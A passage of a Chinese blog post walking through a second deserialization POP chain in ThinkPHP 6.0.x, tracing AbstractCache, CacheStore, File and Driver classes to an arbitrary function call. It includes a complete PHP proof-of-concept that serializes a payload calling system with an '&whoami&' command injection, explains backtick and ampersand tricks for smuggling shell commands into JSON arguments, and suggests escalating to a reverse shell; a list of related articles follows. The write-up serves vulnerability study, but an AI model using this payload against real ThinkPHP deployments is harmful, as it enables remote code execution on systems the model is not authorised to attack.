thinkphp6.0.x 反序列化详记(二)
前言
接上文找第二条POP链。
环境配置
同上文
POP链构造
寻找__destruct方法
仍然是寻找__destruct
,这次关注AbstractCache.php
(/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php):
在抽象类AbstractCache
中:
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
当$this->autosave==false
时将执行$this->save()
。
跟进save方法
由于AbstractCache
本身是一个抽象类,而且其本身不存在save
方法,因此使用find usages
查看哪些类继承了AbstractCache
的类,发现了一个名为CacheStore
类:
查看该类的save
方法:
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
没有任何判断,先执行$this->getForStorage
方法,本类没有存在该方法,又得回去父类。
跟进getForStorage
方法
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
先执行$this->cleanContents
,参数是$this->cache
。
跟进cleanContents方法
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
首先对指定数组进行array_flip
处理(对数组键和值进行反转),赋值给$cachedProperties
。
然后判断外部传入的数组$contents
(也即$this->cache
)中的值是否还是一个数组,如果是则将该数组和$cachedProperties
进行array_intersect_key
处理。
array_intersect_key()
:返回一个数组,该数组包含了所有出现在第一个参数数组中并同时出现在所有其它参数数组中的键名的值。
处理完返回$contents
,cleanContents
方法执行完毕。
回到上一个方法,赋值给$cleaned
。然后再对数组[$cleaned, $this->complete]
进行json_encode
处理,
处理完将json
数据赋值给$contents
,回到save
方法,再执行:$this->store->set($this->key, $contents, $this->expire)
寻找之后发现父类和子类都不存在set
方法,而且也没有__call
方法,那么只能寻找其他存在set
方法或者__call
的类,然后把$this->store
实例化为该类的对象。
这里有个File
类(/vendor/topthink/framework/src/think/cache/driver/File.php)
可以利用。
跟进set方法
这里只需关注前半部分,而且后半部分可以再利用形成另外一条链(2019EIS CTF官方做法利用的就是后半部分,后头再讲)。
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
.....
}
关注到$this->serialize($value)
。
在file
类找不到serialize
该方法,去它的父类driver(/vendor/topthink/framework/src/think/cache/Driver.php)
找到。
跟进serialize方法
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'][0] ?? "serialize";
return $serialize($data);
}
发现利用点$serialize($data)
,其中$this->options['serialize'][0]
参数可控,可以执行任意函数,参数为$data
。
看看\(data的来源,回到set方法中,\)data来源于\(value,再回到CacheStore类,发现\)value来源于$contents,即前面通过json_encode处理后的json格式数据。
也就是说函数名可以控制,但是要执行的参数必须是json格式。
这里要利用到命令行的特殊符号:
在linux命令行中,会优先执行反引号中的内容,因此当函数名为system
,即使参数为json
形式不合法但只需其中存在反引号且反引号内的内容合法即可优先执行。
在windows命令行中,就不存在以上反引号的规则,但是可以利用&来执行多指令。
至此POP链寻找完毕,总结一下涉及的类:
抽象类
AbstractCache
和继承它的子类CacheStore
file类和它的父类driver
另外通过反序列化来加入的外部变量有:
AbstractCache
类中的$this->autosave=false
CacheStore
类中的$this->cache
(处理完将变成json数据),用于最终要执行函数的参数。CacheStore
类中的$this->store
必须为一个file
类driver
类中的$this->options[‘serialize’][0]
,用于指定要执行的函数名,这里为system
。
POP预览流程
借用Somnus师傅的图:
POC代码
debug效率有所提高:
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["\"&whoami&"];
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache
{
protected $key = "1";
protected $store;
protected $expire=1;
public function __construct($store="")
{
$this->store = $store;
}
}
}
namespace think\cache{
abstract class Driver{}
}
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver{
protected $options=[];
function __construct(){
$this->options = ["serialize"=>["system"],"data_compress"=>false,"expire"=>1,"prefix"=>"1","hash_type"=>"sha256","cache_subdir"=>"1","path"=>"1"];
}
}
}
namespace{
$file = new think\cache\driver\File();
$cache = new think\filesystem\CacheStore($file);
echo urlencode(serialize($cache));
}
?>
结果:
在浏览器端无法显示出来,测试了一下,这是因为whoami
指令前后报错的原因导致页面无法回显:
<?php
system('[["\"&whoami&"],[]]');
上面的结果只能在编译器中输出。
另外如果有继续研究的话,其实在set
方法后面可以发现data是被写入到文件中的:
也可以证明system
函数的确有执行。
另外,页面无法回显可以考虑用system
函数执行反弹shell
,由于我是装在windows下的,太菜了目前无法在windows下实现反弹shell。。。
参考文章
thinkphp6.0.x 反序列化详记(二)的更多相关文章
- thinkphp6.0.x 反序列化详记(一)
前言 这几天算是进阶到框架类漏洞的学习了,首当其冲想到是thinkphp,先拿thinkphp6.0.x来学习一下,体验一下寻找pop链的快乐. 在此感谢楷师傅的帮忙~ 环境配置 用composer指 ...
- [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞
[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...
- IIS7.0 Appcmd 命令详解和定时重启应用池及站点的设置
IIS7.0 Appcmd 命令详解 废话不说!虽然有配置界面管理器!但是做安装包的时候命令创建是必不可少的!最近使用NSIS制作安装包仔细研究了一下Appcmd的命令,可谓是功能齐全. 上网查了些资 ...
- IIS7.0 Appcmd 命令详解
原文 IIS7.0 Appcmd 命令详解 一:准备工作 APPcmd.exe 位于 C:\Windows\System32\inetsrv 目录 使用 Cd c:\Windows\System32\ ...
- loadrunner11.0 安装破解详解使用教程
loadrunner11.0 安装破解详解使用教程 来源:互联网 作者:佚名 时间:01-21 10:25:34 [大 中 小] 很多朋友下载了loadrunner11但不是很会使用,这里简单介绍下安 ...
- Apache2.2+Tomcat7.0整合配置详解
一.简单介绍 Apache.Tomcat Apache HTTP Server(简称 Apache),是 Apache 软件基金协会的一个开放源码的网页服务器,可以在 Windows.Unix.Lin ...
- Android EventBus 3.0 实例使用详解
EventBus的使用和原理在网上有很多的博客了,其中泓洋大哥和启舰写的非常非常棒,我也是跟着他们的博客学会的EventBus,因为是第一次接触并使用EventBus,所以我写的更多是如何使用,源码解 ...
- go语言之行--文件操作、命令行参数、序列化与反序列化详解
一.简介 文件操作对于我们来说也是非常常用的,在python中使用open函数来对文件进行操作,而在go语言中我们使用os.File对文件进行操作. 二.终端读写 操作终端句柄常量 os.Stdin: ...
- PopUpWindow使用详解(二)——进阶及答疑
相关文章:1.<PopUpWindow使用详解(一)——基本使用>2.<PopUpWindow使用详解(二)——进阶及答疑> 上篇为大家基本讲述了有关PopupWindow ...
随机推荐
- .Net在Windows上使用Jenkins做CI/CD的那些事
背景 最近入职了一家新公司,公司各个方面都让我非常的满意,我也怀着紧张与兴奋的心情入职后,在第一天接到了领导给我的第一个任务——把整个项目的依赖引用重新整理并实施项目的CI/CD. 本篇的重点主要分享 ...
- zt:HttpUrlConnection使用详解
下文转载自:https://www.cnblogs.com/tenWood/p/8563617.html 一,HttpURLconnection的介绍 在Android开发中网络请求是最常用的操作之一 ...
- leetcode刷题-50Pow(x, n)
题目 实现 pow(x, n) ,即计算 x 的 n 次幂函数. 思路 最初的想法n>0计算res = res*x 计算n次,n<0,将x取倒数后同理,但结果表明计算速度太慢了. 后续应该 ...
- PDF启动增加字段
ALTER TABLE `cnoa_system_fs` ADD `reviewStatus` INT(1) NOT NULL DEFAULT '0' AFTER `isArchive`;ALTER ...
- 阿里云短信服务验证码封装类 - PHP
本文记录在ThinkPHP6.0中使用阿里云短信验证码,该封装类不仅仅局限于TP,拿来即用 使用该类之前必须引入 flc/dysms 扩展,该封装类就是基于这个扩展写的 composer requir ...
- Windows docker镜像文件无法删除
最近刚开始玩docker,下载镜像之前没有修改docker的保存路径,因此默认存在了c:\programdata下面,导致C盘空间不足. 之后修改了保存路径之后( docker engin里加&quo ...
- [Leetcode]225. 用队列实现栈 、剑指 Offer 09. 用两个栈实现队列
##225. 用队列实现栈 如题 ###题解 在push时候搞点事情:push时入队1,在把队2的元素一个个入队1,再交换队2和队1,保持队1除pushguocheng 始终为空. ###代码 cla ...
- [深入理解JVM虚拟机]第2章-Java内存区域与内存溢出异常
2.0引-Java内存区域中,栈内存和堆内存分别装什么,为什么? 栈:解决程序的运行问题,即程序如何执行,或者说如何处理数据. 堆:解决的是数据存储的问题,即数据怎么放,放在哪儿. 参考链接https ...
- Mybatis是如何将Mapper接口注册到Spring IoC的
1. 前言 有时候我们需要自行定义一些注解来标记某些特定功能的类并将它们注入Spring IoC容器.比较有代表性的就是Mybatis的Mapper接口.假如有一个新的需求让你也实现类似的功能你该如何 ...
- 分享一个php的防火墙,拦截SQL注入和xss
一个基于php的防火墙程序,拦截sql注入和xss攻击等 安装 composer require xielei/waf 使用说明 $waf = new \Xielei\Waf\Waf(); $waf- ...